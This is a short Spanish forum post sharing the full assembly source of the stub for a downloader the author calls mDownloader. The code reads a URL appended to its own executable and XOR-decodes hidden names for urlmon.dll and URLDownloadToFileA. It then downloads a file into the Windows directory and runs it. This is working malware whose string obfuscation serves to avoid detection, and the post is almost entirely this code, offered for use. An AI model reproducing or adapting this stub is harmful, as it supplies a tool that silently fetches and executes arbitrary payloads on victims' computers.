Bueno, este es el código fuente del Stub del mDownloader, un Downloader programado por mi en Asm.
include 'win32ax.inc'
.data
manija dd ?
larchivo dd ?
espacio dd ?
bleidos dd ?
dll db 'rukjhi)ckk',0
funcion db 'RUKChpikhfcShAnkbF',0
añadir db '%windir%\archivo.exe',0
ruta dd ?
.code
start:
xor eax, eax
mov eax, [FS:eax+0x30]
mov eax, [DS:eax+0x10]
mov eax, [DS:eax+0x3C]
invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
mov [manija],eax
invoke GetFileSize,[manija],0
mov [larchivo],eax
invoke GlobalAlloc,GPTR,[larchivo]
mov [espacio],eax
invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
invoke CloseHandle,[manija]
mov ecx,1
mov eax,[espacio]
add [larchivo],10
bucle:
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
add eax,ecx
mov [espacio],eax
jmp salir
.endif
dec ecx
.endif
dec ecx
.endif
.if ecx > [larchivo]
jmp salir
.endif
inc ecx
jmp bucle
salir:
invoke GlobalAlloc,GPTR,1024
mov [ruta],eax
invoke ExpandEnvironmentStrings,añadir,[ruta],1024
stdcall Cifrar,dll
invoke LoadLibrary,eax
push eax
stdcall Cifrar,funcion
mov ecx,eax
pop eax
invoke GetProcAddress,eax,ecx
push 0
push 0
push [ruta]
push [espacio]
push 0
call eax
invoke ShellExecute,0,"open",[ruta],0,0,0
leave
ret
proc Cifrar,Cadena
xor ecx,ecx
mov eax,[Cadena]
.bucle:
.if byte[eax+ecx] = 0
jmp .salir
.endif
xor byte[eax+ecx],7
inc ecx
jmp .bucle
.salir:
ret
endp
.end start
salu2!